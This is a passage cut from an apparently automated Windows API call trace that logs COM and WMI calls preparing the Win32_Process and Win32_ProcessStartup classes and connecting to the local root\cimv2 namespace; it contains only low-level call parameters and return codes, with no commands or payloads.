riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0082.184] WbemDefPath:IUnknown:AddRef (This=0x1c02fff0) returned 0x3 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0082.184] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c0545d0) returned 0x0 [0082.184] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0545d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.184] WbemDefPath:IUnknown:Release (This=0x1c0545d0) returned 0x3 [0082.185] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0082.185] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0082.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0082.185] WbemDefPath:IUnknown:Release (This=0x1c02fff0) returned 0x2 [0082.185] WbemDefPath:IUnknown:Release (This=0x1c02fff0) returned 0x1 [0082.185] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0082.185] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0082.185] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c02fff0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c02fff0) returned 0x0 [0082.185] WbemDefPath:IUnknown:AddRef (This=0x1c02fff0) returned 0x3 [0082.185] WbemDefPath:IUnknown:Release (This=0x1c02fff0) returned 0x2 [0082.185] WbemDefPath:IWbemPath:SetText (This=0x1c02fff0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fff0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fff0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0xe, pszText=0x0) returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetText (in: This=0x1c02fff0, lFlags=2, puBuffLength=0x1b2fda58*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fda58*=0xe, pszText="Win32_Process") returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fff0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c02fff0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0082.185] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c02fff0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0082.185] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fda18 | out: ppv=0x1b2fda18*=0x111f638) returned 0x0 [0082.186] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fda08 | out: pAptType=0x1b2fda08*=1) returned 0x0 [0082.186] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fda10 | out: ppvObject=0x1b2fda10*=0x0) returned 0x80004002 [0082.186] IUnknown:Release (This=0x111f638) returned 0x1 [0082.187] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce30 | out: ppv=0x1b2fce30*=0x1c054610) returned 0x0 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054610, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x0) returned 0x80004002 [0082.188] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054610, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce28 | out: ppvObject=0x1b2fce28*=0x1c0300b0) returned 0x0 [0082.188] WbemDefPath:IUnknown:Release (This=0x1c054610) returned 0x0 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc38 | out: ppvObject=0x1b2fcc38*=0x1c0300b0) returned 0x0 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcce0 | out: ppvObject=0x1b2fcce0*=0x0) returned 0x80004002 [0082.188] WbemDefPath:IUnknown:AddRef (This=0x1c0300b0) returned 0x3 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc388 | out: ppvObject=0x1b2fc388*=0x0) returned 0x80004002 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc310 | out: ppvObject=0x1b2fc310*=0x0) returned 0x80004002 [0082.188] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc300 | out: ppvObject=0x1b2fc300*=0x1c054650) returned 0x0 [0082.188] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c054650, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc328 | out: pCid=0x1b2fc328*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.188] WbemDefPath:IUnknown:Release (This=0x1c054650) returned 0x3 [0082.188] CoGetContextToken (in: pToken=0x1b2fc3b0 | out: pToken=0x1b2fc3b0) returned 0x0 [0082.189] CoGetContextToken (in: pToken=0x1b2fc830 | out: pToken=0x1b2fc830) returned 0x0 [0082.189] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc8f0 | out: ppvObject=0x1b2fc8f0*=0x0) returned 0x80004002 [0082.189] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x2 [0082.189] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x1 [0082.189] CoGetContextToken (in: pToken=0x1b2fd650 | out: pToken=0x1b2fd650) returned 0x0 [0082.189] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0082.189] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c0300b0, riid=0x1b2fd6b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd680 | out: ppvObject=0x1b2fd680*=0x1c0300b0) returned 0x0 [0082.189] WbemDefPath:IUnknown:AddRef (This=0x1c0300b0) returned 0x3 [0082.189] WbemDefPath:IUnknown:Release (This=0x1c0300b0) returned 0x2 [0082.189] WbemDefPath:IWbemPath:SetText (This=0x1c0300b0, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0300b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fda58*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fda58*=0x15, pszText=0x0) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetText (in: This=0x1c0300b0, lFlags=2, puBuffLength=0x1b2fda58*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b2fda58*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c0300b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0300b0, puCount=0x1b2fda60 | out: puCount=0x1b2fda60*=0x0) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetInfo (in: This=0x1c0300b0, uRequestedInfo=0x0, puResponse=0x1b2fda78 | out: puResponse=0x1b2fda78*=0xc15) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c0300b0, puCount=0x1b2fd9c0 | out: puCount=0x1b2fd9c0*=0x0) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd980 | out: puCount=0x1b2fd980*=0x2) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd978*=0xf, pszText=0x0) returned 0x0 [0082.189] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd978*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd978*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.189] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0082.189] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0082.189] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0082.189] IUnknown:Release (This=0x111f638) returned 0x1 [0082.191] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccf0 | out: ppv=0x1b2fccf0*=0x1c054690) returned 0x0 [0082.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c054690, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd38 | out: ppvObject=0x1b2fcd38*=0x0) returned 0x80004002 [0082.191] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c054690, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcce8 | out: ppvObject=0x1b2fcce8*=0x1c030170) returned 0x0 [0082.191] WbemDefPath:IUnknown:Release (This=0x1c054690) returned 0x0 [0082.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcaf8 | out: ppvObject=0x1b2fcaf8*=0x1c030170) returned 0x0 [0082.191] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcba0 | out: ppvObject=0x1b2fcba0*=0x0) returned 0x80004002 [0082.192] WbemDefPath:IUnknown:AddRef (This=0x1c030170) returned 0x3 [0082.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc248 | out: ppvObject=0x1b2fc248*=0x0) returned 0x80004002 [0082.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1d0 | out: ppvObject=0x1b2fc1d0*=0x0) returned 0x80004002 [0082.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1c0 | out: ppvObject=0x1b2fc1c0*=0x1c0546d0) returned 0x0 [0082.192] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c0546d0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1e8 | out: pCid=0x1b2fc1e8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0082.192] WbemDefPath:IUnknown:Release (This=0x1c0546d0) returned 0x3 [0082.192] CoGetContextToken (in: pToken=0x1b2fc270 | out: pToken=0x1b2fc270) returned 0x0 [0082.192] CoGetContextToken (in: pToken=0x1b2fc6f0 | out: pToken=0x1b2fc6f0) returned 0x0 [0082.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7b0 | out: ppvObject=0x1b2fc7b0*=0x0) returned 0x80004002 [0082.192] WbemDefPath:IUnknown:Release (This=0x1c030170) returned 0x2 [0082.192] WbemDefPath:IUnknown:Release (This=0x1c030170) returned 0x1 [0082.192] CoGetContextToken (in: pToken=0x1b2fd510 | out: pToken=0x1b2fd510) returned 0x0 [0082.192] CoGetContextToken (in: pToken=0x1b2fd410 | out: pToken=0x1b2fd410) returned 0x0 [0082.192] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c030170, riid=0x1b2fd570*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd540 | out: ppvObject=0x1b2fd540*=0x1c030170) returned 0x0 [0082.192] WbemDefPath:IUnknown:AddRef (This=0x1c030170) returned 0x3 [0082.192] WbemDefPath:IUnknown:Release (This=0x1c030170) returned 0x2 [0082.192] WbemDefPath:IWbemPath:SetText (This=0x1c030170, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0082.192] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030170, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0082.192] WbemDefPath:IWbemPath:GetText (in: This=0x1c030170, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0082.192] WbemDefPath:IWbemPath:GetText (in: This=0x1c030170, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.192] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd968 | out: ppv=0x1b2fd968*=0x111f638) returned 0x0 [0082.193] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd958 | out: pAptType=0x1b2fd958*=1) returned 0x0 [0082.193] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd960 | out: ppvObject=0x1b2fd960*=0x0) returned 0x80004002 [0082.193] IUnknown:Release (This=0x111f638) returned 0x1 [0082.193] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcf10 | out: ppv=0x1b2fcf10*=0x1c0547d0) returned 0x0 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547d0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcf58 | out: ppvObject=0x1b2fcf58*=0x0) returned 0x80004002 [0082.194] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0547d0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcf08 | out: ppvObject=0x1b2fcf08*=0x1c0547f0) returned 0x0 [0082.194] WbemLocator:IUnknown:Release (This=0x1c0547d0) returned 0x0 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x1c0547f0) returned 0x0 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcdc0 | out: ppvObject=0x1b2fcdc0*=0x0) returned 0x80004002 [0082.194] WbemLocator:IUnknown:AddRef (This=0x1c0547f0) returned 0x3 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc468 | out: ppvObject=0x1b2fc468*=0x0) returned 0x80004002 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc3f0 | out: ppvObject=0x1b2fc3f0*=0x0) returned 0x80004002 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc3e0 | out: ppvObject=0x1b2fc3e0*=0x0) returned 0x80004002 [0082.194] CoGetContextToken (in: pToken=0x1b2fc490 | out: pToken=0x1b2fc490) returned 0x0 [0082.194] CoGetContextToken (in: pToken=0x1b2fc910 | out: pToken=0x1b2fc910) returned 0x0 [0082.194] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc9d0 | out: ppvObject=0x1b2fc9d0*=0x0) returned 0x80004002 [0082.194] WbemLocator:IUnknown:Release (This=0x1c0547f0) returned 0x2 [0082.194] WbemLocator:IUnknown:Release (This=0x1c0547f0) returned 0x1 [0082.194] CoGetContextToken (in: pToken=0x1b2fd4c0 | out: pToken=0x1b2fd4c0) returned 0x0 [0082.194] CoGetContextToken (in: pToken=0x1b2fd3c0 | out: pToken=0x1b2fd3c0) returned 0x0 [0082.195] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0547f0, riid=0x1b2fd520*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd4f0 | out: ppvObject=0x1b2fd4f0*=0x1c0547f0) returned 0x0 [0082.195] WbemLocator:IUnknown:AddRef (This=0x1c0547f0) returned 0x3 [0082.195] WbemLocator:IUnknown:Release (This=0x1c0547f0) returned 0x2 [0082.195] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1c030170, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0082.195] WbemDefPath:IWbemPath:GetText (in: This=0x1c030170, lFlags=8, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0082.195] WbemDefPath:IWbemPath:GetText (in: This=0x1c030170, lFlags=8, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0082.195] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd630 | out: ppv=0x1b2fd630*=0x1c054810) returned 0x0 [0082.195] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c054810, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd798 | out: ppNamespace=0x1b2fd798*=0x1c0402c0) returned 0x0 [0082.481] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0402c0, riid=0x7fef726aee0*(Data1=0x13d, 